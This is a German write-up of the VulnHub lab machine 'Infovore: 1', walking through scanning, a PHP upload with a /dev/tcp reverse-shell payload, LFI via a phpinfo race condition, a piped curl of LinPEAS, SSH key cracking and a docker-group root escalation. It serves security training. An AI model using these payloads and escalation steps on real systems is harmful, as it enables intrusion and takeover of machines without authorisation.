> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).

# Infovore: 1 VulnHub-Lösung

{% embed url="<https://www.vulnhub.com/entry/infovore-1,496/>" %}

{% hint style="warning" %}
Fähigkeiten:

* Web-Aufzählung
* LFI (Lokale Dateieinbindung)
* Ausnutzen der in info.php sichtbaren file/\_uploads (LFI2RCE über phpinfo() + Race Condition)
* Systemaufklärung (Linpeas)
* Knacken eines geschützten privaten SSH-Schlüssels
* Ausnutzen des Vertrauensverhältnisses von SSH-Schlüsselpaaren, um aus dem Container auszubrechen
* Ausnutzen der Docker-Gruppe (Privilegieneskalation)
  {% endhint %}

## Aufklärung

#### **Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/975162bafef3654ef53a50b78b1445e48253605d" alt=""><figcaption></figcaption></figure>

#### **Ermittlung der IP-Adresse mit arp-scan:**

Verwendung des arp-scan-Befehls, um die IP-Adresse des Systems zu erkennen:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/795ea56633645b09842dbc0815d0d8214f3dad79" alt=""><figcaption></figcaption></figure>

#### **Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```

<figure><img src="/files/903ac1e7faeda0225834300868fa5519fdcd6b0f" alt=""><figcaption></figcaption></figure>

#### **Port- und Versionsscan mit Nmap :**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
 nmap -sCV -p80 192.168.71.146 -oN targeted
```

<figure><img src="/files/245524eed7520eae9eab971b6d000add80f944c9" alt=""><figcaption></figcaption></figure>

#### Serverscan mit Wappalyzer:

Verwendung von Wappalyzer, um festzustellen, dass der Server Apache und die Programmiersprache PHP verwendet.

<figure><img src="/files/6d96d24fa515f35d311488c2ef5ffa3b15369aba" alt=""><figcaption></figcaption></figure>

#### **Zielversion mit WhatWeb identifizieren**

Verwendung von WhatWeb, um die Website zu scannen und die Version des Systems (Ubuntu) sowie Apache zu identifizieren:

```bash
whatweb http://192.168.71.146
```

<figure><img src="/files/3dce026e1418282fa307485d0ecc49afe8165d9c" alt=""><figcaption></figcaption></figure>

## Aufklärung von `info.php`

**Suche nach Verzeichnissen mit Gobuster:**

Verwenden Sie **Gobuster** mit einem Wörterbuch, um versteckte Zugriffsdateien zu finden.

```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```

<figure><img src="/files/aab76e3f1f345fd732a651093059b48947af7ea2" alt=""><figcaption></figcaption></figure>

Eine Datei namens **info.php** wurde gefunden, die die gesamte PHP-Konfiguration des Servers enthält.

<figure><img src="/files/32394b01f32f820ce7a393c01ecccd439db9cedd" alt=""><figcaption></figcaption></figure>

Man kann beobachten, dass keine Funktion deaktiviert ist.

<figure><img src="/files/43cb656e5ea6d716f0a68e4424a17b121ee75b77" alt=""><figcaption></figcaption></figure>

## Schwachstelle Datei-Upload:

Nachdem die `info.php` Datei gefunden wurde, prüfen wir die Möglichkeit, Dateien auf den Server hochzuladen.

<figure><img src="/files/8ac364213b71ef9e18642db28dca13a3461a5f0d" alt=""><figcaption></figcaption></figure>

**Mit Burp Suite abfangen:**

Verwende Burp Suite, um die Anfrage abzufangen. Ändere die Methode von "GET" zu "POST".<br>

<figure><img src="/files/d8b93410bcd8740ee2a1a0bc748a16b471563fbe" alt=""><figcaption></figcaption></figure>

#### Anfrage zum Import einer Textdatei auf den Server:

Verwende die folgende Burp-Suite-Anfrage, um eine Datei mit dem Namen `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain

This is a Test
----pwned
```

<figure><img src="/files/d27ea08214344ec2283b6a32a4ccbf4d808ada3d" alt=""><figcaption></figcaption></figure>

**PHP-Code-Injektion:**

Versuche, PHP-Code mit derselben Burp-Suite-Struktur einzuschleusen. Ändere den Inhalt der einzuschleusenden Datei.

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```

#### Bestätigung der Injektion:

Prüfe, ob die Injektion erfolgreich war, indem du das Vorhandensein der Datei "cmd.php" auf dem Server bestätigst.

<figure><img src="/files/4c2e86ace4a9331aada9fc56e659f58aa4695d71" alt=""><figcaption></figcaption></figure>

#### LFI-Suche

Um eine LFI-Schwachstelle zu finden, verwenden wir das wfuz-Tool, um einen möglichen Parameter zu identifizieren, der auf eine PHP-Datei umleitet. Der Befehl lautet wie folgt:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```

<figure><img src="/files/7b885df88eedd22b591f96da788b1415d86a8513" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/59b7845c04c05dd35a5942443e476f42bba18b11" alt=""><figcaption></figcaption></figure>

#### Schwierigkeiten durch ständigen Dateiwechsel:

Leider können wir den Inhalt der Datei cmd.php aufgrund des ständigen Wechsels des temporären Ordners nicht auflisten:

<figure><img src="/files/ad8580fa8b49c8bc6e4b3308400547d8d474e8f3" alt=""><figcaption></figcaption></figure>

## Schwachstelle Race Condition:

Verwende ein [automatisiertes Skript](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) um die Race Condition im Prozess auszunutzen.

#### Skriptanpassung

Wir passen das Skript an unsere besondere Situation an.

<figure><img src="/files/26a7f97a52c459bd359686ea2c6568ea8077affd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/120b47b82871c093deeec2be0d8a399ffeadd5ab" alt=""><figcaption></figcaption></figure>

#### Erfolgreicher Zugriff auf die Maschine:

Wir schaffen es, Zugriff auf die Maschine zu erhalten, indem wir die Race Condition ausnutzen.

<figure><img src="/files/4aebd52226a1de9fd3e4497049b3198b4c48b4b5" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung für die Privilegieneskalation:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation:

Wir beobachten, dass wir uns in einem Container befinden, und verwenden den Befehl, um die Adresse des tatsächlichen Containers (192.168.150.1) zu ermitteln. Dann prüfen wir, ob Port 22 auf dieser Maschine offen ist.

<figure><img src="/files/82f91a5887735c1aeae4ad52bf45302eeec0427c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6cbfe96afede3734c5a193f12a3e08e724fe8afc" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/9079d061555361f879ad259280ef852ccbcae13a" alt=""><figcaption></figcaption></figure>

### **System-Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Wir verwenden LinPEAS zur Ermittlung von Rechten:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/30bcb280700f3b1ad683b46d73b8d98a66dd83c9" alt=""><figcaption></figcaption></figure>

#### Wir finden ein unerwartetes tgz-Verzeichnis im Stammverzeichnis.

<figure><img src="/files/f1814449a4fae87799aea962e5896a2cd4069eac" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### /*/* Knacken eines geschützten privaten SSH-Schlüssels\:/*/*

#### Identifizierung des privaten SSH-Schlüssels

Wir identifizieren ein Paar aus öffentlichem und privatem OpenSSH-SSH-Schlüssel.

<figure><img src="/files/aca186b6128a7bd1c25960a75b25bec08ddef190" alt=""><figcaption></figcaption></figure>

#### Knacken des privaten Schlüssels:

* Wir stellen fest, dass der private Schlüssel verschlüsselt ist

<figure><img src="/files/0ddcd79e06b07ad3f64912cd5e8dde38366e2783" alt=""><figcaption></figcaption></figure>

* Wir verwenden **ssh2john.py** um den Dateiinhalt in einen Hash umzuwandeln:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/7888331eba5dcce14cbbd4839c413fecc5ee9196" alt=""><figcaption></figcaption></figure>

* Dann verwenden wir John the Ripper, um den Hash mit einer Passwortliste zu knacken.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/4e29de76a13f45ee1236407952a14cf9f126b384" alt=""><figcaption></figcaption></figure>

#### Zugriff als root:

Wir erhalten Zugriff auf den Rechner als root.

<figure><img src="/files/e3018003b586432a15f84b5a9e1fa4cf3f936135" alt=""><figcaption></figcaption></figure>

### **Ausnutzen des Vertrauensverhältnisses von SSH-Schlüsselpaaren, um aus dem Container auszubrechen:**

Wir versuchen, mit der bekannten Hosts-Konfiguration im SSH-Verzeichnis des Containers auf eine andere Maschine zu migrieren, wodurch wir uns mit dem Admin-Benutzer auf der Host-Maschine verbinden können.

<figure><img src="/files/57b74d61f8d6560c959b4f9351e0d4fe2fc10c2a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a1543eb6ef8a52ed0327a9475df50354a2bf2cd1" alt=""><figcaption></figcaption></figure>

### **Ausnutzen der Docker-Gruppe (Privilegieneskalation):**

#### [docker](/de/privesc/user-groups/docker-group-linux-privilege-escalation.md) Gruppenmitgliedschaft:

Wir stellen fest, dass wir Teil der Docker-Gruppe sind.

<figure><img src="/files/48e8e2b7cb9e27c5c79f19b128cda36cb7bd47e0" alt=""><figcaption></figcaption></figure>

#### Die Docker-Gruppe nutzen, um Rechte zu umgehen:

Wir nutzen unsere Mitgliedschaft in der Docker-Gruppe aus, um die Rechte der realen Maschine in einem Admin-Container zu mounten:

```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```

<figure><img src="/files/5ac72949f02beb9ff73b80d4d2f519cf49e293b7" alt=""><figcaption></figcaption></figure>

GEKAPERT :)

<figure><img src="/files/3a318b59e4051c4a12b2c56fd355c7d69bcf5101" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
